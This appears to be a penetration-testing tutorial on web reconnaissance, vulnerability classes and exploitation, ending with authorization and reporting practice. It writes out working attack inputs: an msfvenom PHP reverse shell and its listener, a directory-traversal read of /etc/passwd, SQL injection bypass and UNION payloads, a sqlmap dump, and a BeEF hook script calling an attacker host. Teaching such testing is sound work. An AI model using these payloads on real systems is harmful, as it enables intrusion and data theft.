Web Reconnaissance and Enumeration

Profiling a target web application involves identifying the underlying server technologies, hosted services, and hidden directories. Internet data mining services, such as Netcraft, can reveal critical details including the hosting provider, server operating system, and domain registrar. Alternatively, banner grabbing via command-line utilities retrieves service version information directly from the target.

echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc target.local 80

To identify other domains sharing the same name server, OSINT tools like Maltego can execute transforms such as "To Domain (Shared NS)". This reveals co-hosted domains, which might present lateral movement opportunities if the shared server is compromised.

Discovering sensitive files and directories is achievable using brute-forcing tools like Gobuster or DirBuster.

gobuster dir -u http://target.local -w /usr/share/wordlists/dirb/common.txt -x .bak,.cfg

Reviewing the robots.txt file also exposes directories the administrator wishes to hide from search engine crawlers, often leading to administrative portals or restricted interfaces.

Web Vulnerability Categories

Web applications are susceptible to several fundamental vulnerability classes:

• Cross-Site Scripting (XSS): Injecting client-side scripts into web pages viewed by other users. Stored XSS persists the payload in the database, while Reflected XSS executes via a crafted URL.
• Cross-Site Request Forgery (CSRF): Forcing an authenticated user to execute unwanted actions on a trusted site.
• SQL Injection (SQLi): Inserting malicious SQL queries to manipulate the backend database.
• Insecure Deserialization: Supplying malicious serialized objects to abuse application logic or achieve remote code execution.
• Security Misconfiguration: Flaws arising from default configurations, incomplete setups, or open cloud storage.
• Vulnerable Components: Utilizing libraries or frameworks with known vulnerabilities (e.g., outdated Adobe Flash or JBoss).
• Insecure Direct Object References (IDOR): Accessing objects directly by modifying parameters without authorization checks.

Exploiting File Upload and Inclusion Flaws

Unrestricted file uploads allow adversaries to deploy web shells or reverse shells onto the server. A PHP reverse shell payload can be generated using Metasploit:

msfvenom -p php/reverse_tcp LHOST=10.0.0.1 LPORT=9999 -f raw > reverse_shell.php

After uploading the payload through the vulnerable interface, triggering the file executes the shell. A Metasploit listener must be configured to catch the connection:

use exploit/multi/handler
set payload php/reverse_tcp
set LHOST 10.0.0.1
set LPORT 9999
run

Local File Inclusion (LFI) allows an attacker to traverse directories and read arbitrary files. By manipulating input parameters with sequences like ../../, sensitive system files can be accessed:

vuln_page.php?file=../../../../etc/passwd

Command execution vulnerabilities, such as those found in outdated PHP-CGI implementations (CVE-2012-1823), can be detected using Nmap and exploited via Metasploit modules like exploit/multi/http/php_cgi_arg_injection.

Advanced Database Attacks

SQL injection vulnerabilities enable authentication bypass and data exfiltration. Entering ' OR '1'='1' -- - in a login form can bypass authentication by evaluating the query as true. When extracting data via Union-based SQLi, the number of columns must first be determined using ORDER BY clauses. Once identified, a UNION SELECT statement retrieves database information:

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7-- -

Table names and column credentials can be extracted from the information_schema database. If certain strings are blocked, CHAR() encoding can bypass filters.

For POST-based SQLi, intercept the HTTP request using a proxy like Burp Suite, save it to a file, and automate exploitation with SQLmap:

sqlmap -r ./captured_request.txt --batch --dbs

SQLmap automates database fingerprinting, table enumeration, and data dumping. Key flags include --dbms, --tables, --columns, and --dump.

Client-Side Attacks and Browser Hooking

XSS vulnerabilities are leveraged to execute arbitrary JavaScript in a victim's browser. Injecting <script>alert('XSS_Success')</script> tests for reflected or stored execution.

The Browser Exploitation Framework (BeEF) hooks compromised browsers by embedding a script tag:

<script src="http://ATTACKER_IP:3000/hook.js"></script>

Once hooked, the attacker can execute social engineering attacks, steal session tokens, or manipulate the DOM through the BeEF control panel.

Automated Vulnerability Scanning

Automated scanners streamline the discovery of web vulnerabilities. Burp Suite's active scanner sends payloads to test for injection flaws and misconfigurations. Commercial solutions like Acunetix provide comprehensive scanning capabilities, compliance reporting, and advanced XSS/SQLi detection. Open-source alternatives like OWASP ZAP perform automated spidering and active scanning, highlighting vulnerable parameters and generating HTML reports.

Penetration Testing Methodologies and Best Practices

Executing a penetration test requires strict adherence to legal and ethical guidelines. A tester must possess written authorization and clearly defined Rules of Engagement (RoE) before interacting with the target. Non-disclosure agreements (NDAs) protect client data and establish trust.

Methodologies like the Penetration Testing Execution Standard (PTES) and the OWASP Top 10 provide structured frameworks for testing. PTES defines phases from pre-engagement interactions through reporting. The OWASP Top 10 prioritizes the most critical web application security risks, including injection, broken authentication, and security misconfigurations.

The final deliverable is a comprehensive report detailing discovered vulnerabilities, risk ratings based on the Common Vulnerability Scoring System (CVSS), and actionable remediation steps. Reports must be accessible to both technical teams and executive management, omitting unnecessary jargon while clearly outlining the security posture.